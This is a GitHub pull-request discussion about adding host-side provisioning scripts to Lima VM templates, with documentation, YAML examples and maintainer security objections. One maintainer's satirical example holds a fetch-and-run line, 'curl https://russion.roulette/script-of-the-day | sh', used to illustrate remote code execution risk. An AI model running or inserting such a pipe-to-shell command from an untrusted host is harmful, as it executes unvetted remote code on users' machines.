Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We鈥檒l occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Host Provision to default.yaml #2180

Open
wants to merge 3 commits into
base: master
Choose a base branch
from

Conversation

norio-nomura
Copy link
Contributor

Host provisioning scripts are executed every time before starting the instance.

  • the working directory is the instance directory {{.Dir}}
  • the runtime.GOOS is used to determine the host OS. e.g. darwin for macOS, linux for Linux, and windows for Windows.
  • if wait is true and the script exits with a non-zero status, the instance start will be aborted.

shell and script can include these template variables:

  • {{.ScriptName}} that represents the temporary script file path.
  • {{.Index}} that represents the index in the list of host provisioning scripts (0-based).
  • template variables available in limactl list --format command.

馃煝 Builtin default: null

e.g.

hostProvision:
- debug: false      # change the temporary script location to {{.Dir}} and not delete it after execution. default: false
  hostOS: darwin    # string or []string. The script is executed only on the specified host OS.
  script: |         # passed to the shell as temporary file argument if exists
    xattr -w com.apple.metadata:com_apple_backup_excludeItem true {{.Dir}}/{basedisk,diffdisk}
  shell: bash       # default: null
  wait: true        # wait for the script to finish before starting the instance. default: true

If no shell is given, the default shell is selected based on the host OS. If the default shell is not located on the PATH, fallbacks to sh (when host OS is not windows) or powershell (when host OS is windows).

shell can be either:

  1. Builtin / Explicitly supported keywords
Keyword Command run internally Description
bash bash --noprofile --norc -eo pipefail {{.ScriptName}} The default shell when host OS is not windows.
sh sh -e {{.ScriptName}}
pwsh pwsh -command ". '{{.ScriptName}}'" The default shell when host OS is windows.
powershell powershell -command ". '{{.ScriptName}}'"
cmd cmd /D /E:ON /V:OFF /S /C "CALL "{{.ScriptName}}""
  1. Template string: command [...options] {{.ScriptName}} [...more_options] {{.ScriptName}} is replaced with the temporary script file path

there are shorthand forms for the builtin shells:

- bash: echo "executed by bash"                    # interpreted as {shell: bash, hostOS: [darwin, linux], script: ...}
- sh: echo "executed by sh"                        # interpreted as {shell: sh, hostOS: [darwin, linux], script: ...}
- pwsh: Write-Host "executed by pwsh"              # interpreted as {shell: pwsh, hostOS: [windows], script: ...}
- powershell: Write-Host "executed by powershell"  # interpreted as {shell: powershell, hostOS: [windows], script: ...}
- cmd: echo "executed by cmd"                      # interpreted as {shell: cmd, hostOS: [windows], script: ...}

e.g.

- bash: | # Post a notification when an error by the hostProvision script is detected
    jq=/opt/homebrew/bin/jq && test -x $jq || exit 0
    tail -n0 -F ha.stderr.log | while read -r line; do
      msg=$(echo "$line"|$jq -er '
        select(.hostProvision and .hostProvision != {{.Index}})| # select log lines from other hostProvision scripts
        select(.level == "error")|                               # select error log lines
        .msg
      ') || continue
      osascript -e "on run argv" -e "display notification (item 1 of argv) with title \"Lima\"" -e "end run" "$msg"
      echo Posted a notification
    done
  debug: false
  hostOS: darwin
  wait: false

This PR is an alternative solution to #2159.

@norio-nomura
Copy link
Contributor Author

The failing tests seem to be an issue with the build cache. 馃

@norio-nomura
Copy link
Contributor Author

The failing tests seem to be an issue with the build cache. 馃

Fixed pkg/hostagent/host_provision.go:11:2: package slices is not in GOROOT issue

@norio-nomura
Copy link
Contributor Author

https://github.com/lima-vm/lima/actions/runs/7770635361/job/21191054495?pr=2180#step:9:20

time="2024-02-04T01:12:50Z" level=fatal msg="failed to download "[https://download.fedoraproject.org/pub/fedora/linux/releases/39/Cloud/x86_64/images/Fedora-Cloud-Base-39-1.5.x86_64.qcow2](https://download.fedoraproject.org/pub/fedora/linux/releases/39/Cloud/x86_64/images/Fedora-Cloud-Base-39-1.5.x86_64.qcow2/)": Get "[https://download.fedoraproject.org/pub/fedora/linux/releases/39/Cloud/x86_64/images/Fedora-Cloud-Base-39-1.5.x86_64.qcow2](https://download.fedoraproject.org/pub/fedora/linux/releases/39/Cloud/x86_64/images/Fedora-Cloud-Base-39-1.5.x86_64.qcow2/)": net/http: TLS handshake timeout"

Is this a temporary failure?

@norio-nomura
Copy link
Contributor Author

test/vz (fedora.yaml) passes on my local machine just now.
Could someone please re-run the test?

@jandubois
Copy link
Member

jandubois commented Feb 4, 2024

Host provisioning scripts are executed every time before starting the instance.

I wish you would create an issue first to discuss a new feature, and how it is going to be implemented.

I think we discussed host provisioning scripts before, and rejected the idea due to security considerations, but I couldn't find any issue or discussion related to it right now.

Host provisioning scripts creating a Lima instance from a URL may now run arbitrary code on the user's machine:

limactl start https://templates.r.us/cool-vm.yaml

Now, installing remote templates without verifying them first is already somewhat dangerous:

mounts:
- location: /
  mountPoint: /mnt/host
  writable: true
ssh:
  forwardAgent: true

But executing a provisioning script directly on the host also lets you run arbitrary other code, and gives you access to any unlocked keychains. Without this feature there is no mechanism that would allow a Lima instance to execute additional code on the host (afaik).

If we agree on supporting host scripts at all, then I would like to see additional safeguards implemented:

When a new instance is created with a host provisioning script in the template, limactl needs to ask permission:

$ limactl create https://example.com/vm.yaml
WARNING: The template includes a provisioning script that will run on your local machine!
? Do you want to run the script on your machine every time before the instance starts?

There should be no default answer, and if running with --tty=false the answer should be "no". Not sure if that should abort the instance creation.

I think it may be a good idea if the template could include a message for the host script, that would be displayed before the prompt:

hostProvision:
- message: |
    Do you feel lucky, punk?

    Many exciting script actions, chosen at random:
    * Buy a new NFT from your unlocked wallet
    * Install remote access trojan
    * Get free bitcoin
    * Watch another user's webcam
    * Encrypt your hard drive and pay ransom

    Never have a boring day again!
  script: "curl https://russion.roulette/script-of-the-day | sh"

I have more feedback on the implementation details, but I would like to hear first what others @lima-vm/maintainers think about supporting host scripts at all.

This PR is an alternative solution to #2159.

From a risk/benefit point of view I would rather see #2159 implemented, but I do understand the appeal of the more powerful mechanism. I'm just afraid that it will be abused for remote code execution exploits.

@jandubois
Copy link
Member

test/vz (fedora.yaml) passes on my local machine just now. Could someone please re-run the test?

I've triggered a re-run.

@AkihiroSuda AkihiroSuda added the enhancement New feature or request label Feb 4, 2024
@AkihiroSuda
Copy link
Member

AkihiroSuda commented Feb 4, 2024

WARNING: The template includes a provisioning script that will run on your local machine!

馃憤
Maybe we should print this note for mounts (except /tmp/lima) too

@jandubois
Copy link
Member

Maybe we should print this note for mounts (except /tmp/lima) too

I was going to suggest this (including adding the prompt), but it is outside the scope of this PR. We then need to add some additional options like --enable-writable-mounts and --enable-host-scripts to prevent these prompts for automation. But we can bike-shed this in a separate issue.

@norio-nomura
Copy link
Contributor Author

norio-nomura commented Feb 4, 2024

I understand that Host Provision is a security issue when limactl is used to download templates directly from the net. For my personal use, I think it is better to enable Host Provision only when it is written in _config/default.yaml.

Host provisioning scripts are executed every time before starting the instance.
- the working directory is the instance directory `{{.Dir}}`
- the `runtime.GOOS` is used to determine the host OS. e.g. `darwin` for macOS, `linux` for Linux, and `windows` for Windows.
- if `wait` is true and the script exits with a non-zero status, the instance start will be aborted.

`shell` and `script` can include these template variables:
- `{{.ScriptName}}` that represents the temporary script file path.
- `{{.Index}}` that represents the index in the list of host provisioning scripts (0-based).
- template variables available in `limactl list --format` command.

馃煝 Builtin default: null

e.g.
```yaml
hostProvision:
- debug: false      # change the temporary script location to {{.Dir}} and not delete it after execution. default: false
  hostOS: darwin    # string or []string. The script is executed only on the specified host OS.
  script: |         # passed to the shell as temporary file argument if exists
    xattr -w com.apple.metadata:com_apple_backup_excludeItem true {{.Dir}}/{basedisk,diffdisk}
  shell: bash       # default: null
  wait: true        # wait for the script to finish before starting the instance. default: true
```
If no shell is given, the default shell is selected based on the host OS. If the default shell is not located on the PATH, fallbacks to `sh` (when host OS is not windows) or `powershell` (when host OS is windows).

`shell` can be either:
1. Builtin / Explicitly supported keywords

| Keyword      | Command run internally                                 | Description                                    |
| ------------ | ------------------------------------------------------ | ---------------------------------------------- |
| `bash`       | `bash --noprofile --norc -eo pipefail {{.ScriptName}}` | The default shell when host OS is not windows. |
| `sh`         | `sh -e {{.ScriptName}}`                                |                                                |
| `pwsh`       | `pwsh -command ". '{{.ScriptName}}'"`                  | The default shell when host OS is windows.     |
| `powershell` | `powershell -command ". '{{.ScriptName}}'"`            |                                                |
| `cmd`        | `cmd /D /E:ON /V:OFF /S /C "CALL "{{.ScriptName}}""`   |                                                |

2. Template string: `command [...options] {{.ScriptName}} [...more_options]`
  `{{.ScriptName}}` is replaced with the temporary script file path

there are shorthand forms for the builtin shells:
```yaml
- bash: echo "executed by bash"                    # interpreted as {shell: bash, hostOS: [darwin, linux], script: ...}
- sh: echo "executed by sh"                        # interpreted as {shell: sh, hostOS: [darwin, linux], script: ...}
- pwsh: Write-Host "executed by pwsh"              # interpreted as {shell: pwsh, hostOS: [windows], script: ...}
- powershell: Write-Host "executed by powershell"  # interpreted as {shell: powershell, hostOS: [windows], script: ...}
- cmd: echo "executed by cmd"                      # interpreted as {shell: cmd, hostOS: [windows], script: ...}
```

e.g.
```yaml
- bash: | # Post a notification when an error by the hostProvision script is detected
    jq=/opt/homebrew/bin/jq && test -x $jq || exit 0
    tail -n0 -F ha.stderr.log | while read -r line; do
      msg=$(echo "$line"|$jq -er '
        select(.hostProvision and .hostProvision != {{.Index}})| # select log lines from other hostProvision scripts
        select(.level == "error")|                               # select error log lines
        .msg
      ') || continue
      osascript -e "on run argv" -e "display notification (item 1 of argv) with title \"Lima\"" -e "end run" "$msg"
      echo Posted a notification
    done
  debug: false
  hostOS: darwin
  wait: false
```

This PR is an alternative solution to lima-vm#2159.

Signed-off-by: Norio Nomura <norio.nomura@gmail.com>
Add `WithEnableHostProvision()` option to `limayaml.Load()` and `limayaml.FillDefault()` to enable `HostProvision` in `lima.yaml`

Signed-off-by: Norio Nomura <norio.nomura@gmail.com>
@norio-nomura norio-nomura changed the title Add Host Provision Add Host Provision to default.yaml Feb 4, 2024
@norio-nomura
Copy link
Contributor Author

Updated to the use of HostProvision in lima.yaml to be opt-in.
I believe that the procedure to enable HostProvision in lima.yaml should be considered separately.
I would be happy to see the review go forward with this change.

Signed-off-by: Norio Nomura <norio.nomura@gmail.com>
@afbjorklund
Copy link
Contributor

This PR (feature) seems like overkill to me, if it is only going to be used to exclude the lima directory from backup?

We had similar feature requests for installing kubectl, but opted to do it on the host instead of from the template.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants